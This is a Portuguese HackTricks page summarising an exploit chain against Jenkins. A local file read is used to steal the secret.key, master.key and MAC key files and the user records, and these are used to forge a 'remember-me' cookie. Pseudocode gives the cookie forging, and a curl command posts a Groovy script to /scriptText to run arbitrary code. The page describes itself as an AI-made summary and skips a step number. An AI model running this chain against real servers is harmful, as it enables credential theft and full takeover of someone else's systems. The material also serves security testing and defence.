Jenkins Arbitrary File Read to RCE via "Remember Me"

Support HackTricks

Neste post do blog é possível encontrar uma ótima maneira de transformar uma vulnerabilidade de Inclusão de Arquivo Local no Jenkins em RCE: https://blog.securelayer7.net/spring-cloud-skipper-vulnerability/

Este é um resumo criado por IA da parte do post onde o craft de um cookie arbitrário é abusado para obter RCE abusando de uma leitura de arquivo local até que eu tenha tempo para criar um resumo por conta própria:

Pré-requisitos do Ataque

  • Requisito de Funcionalidade: "Lembre-se de mim" deve estar habilitado (configuração padrão).

  • Níveis de Acesso: O atacante precisa de permissões Gerais/Leitura.

  • Acesso Secreto: Capacidade de ler tanto conteúdo binário quanto textual de arquivos-chave.

Processo Detalhado de Exploração

Passo 1: Coleta de Dados

Recuperação de Informações do Usuário

  • Acesse a configuração do usuário e segredos de $JENKINS_HOME/users/*.xml para cada usuário para coletar:

  • Nome de usuário

  • Semente do usuário

  • Timestamp

  • Hash da senha

Extração da Chave Secreta

  • Extraia chaves criptográficas usadas para assinar o cookie:

  • Chave Secreta: $JENKINS_HOME/secret.key

  • Chave Mestra: $JENKINS_HOME/secrets/master.key

  • Arquivo da Chave MAC: $JENKINS_HOME/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

Preparação do Token

  • Calcular Tempo de Expiração do Token:

tokenExpiryTime = currentServerTimeInMillis() + 3600000  // Adiciona uma hora ao tempo atual
  • Concatenar Dados para o Token:

token = username + ":" + tokenExpiryTime + ":" + userSeed + ":" + secretKey

Descriptografia da Chave MAC

  • Descriptografar o Arquivo da Chave MAC:

key = toAes128Key(masterKey)  // Converter chave mestra para formato de chave AES128
decrypted = AES.decrypt(macFile, key)  // Descriptografar o arquivo .mac
if not decrypted.hasSuffix("::::MAGIC::::")
return ERROR;
macKey = decrypted.withoutSuffix("::::MAGIC::::")

Cálculo da Assinatura

  • Calcular HMAC SHA256:

mac = HmacSHA256(token, macKey)  // Calcular HMAC usando o token e a chave MAC
tokenSignature = bytesToHexString(mac)  // Converter o MAC para uma string hexadecimal

Codificação do Cookie

  • Gerar Cookie Final:

cookie = base64.encode(username + ":" + tokenExpiryTime + ":" + tokenSignature)  // Codificar os dados do cookie em Base64

Passo 3: Execução de Código

Autenticação de Sessão

  • Buscar Tokens CSRF e de Sessão:

  • Faça uma solicitação para /crumbIssuer/api/json para obter Jenkins-Crumb.

  • Capture JSESSIONID da resposta, que será usado em conjunto com o cookie de lembrete.

Solicitação de Execução de Comando

  • Enviar uma Solicitação POST com Script Groovy:

curl -X POST "$JENKINS_URL/scriptText" \
--cookie "remember-me=$REMEMBER_ME_COOKIE; JSESSIONID...=$JSESSIONID" \
--header "Jenkins-Crumb: $CRUMB" \
--header "Content-Type: application/x-www-form-urlencoded" \
--data-urlencode "script=$SCRIPT"
  • O script Groovy pode ser usado para executar comandos em nível de sistema ou outras operações dentro do ambiente Jenkins.

O exemplo de comando curl fornecido demonstra como fazer uma solicitação ao Jenkins com os cabeçalhos e cookies necessários para executar código arbitrário de forma segura.

Support HackTricks

Last updated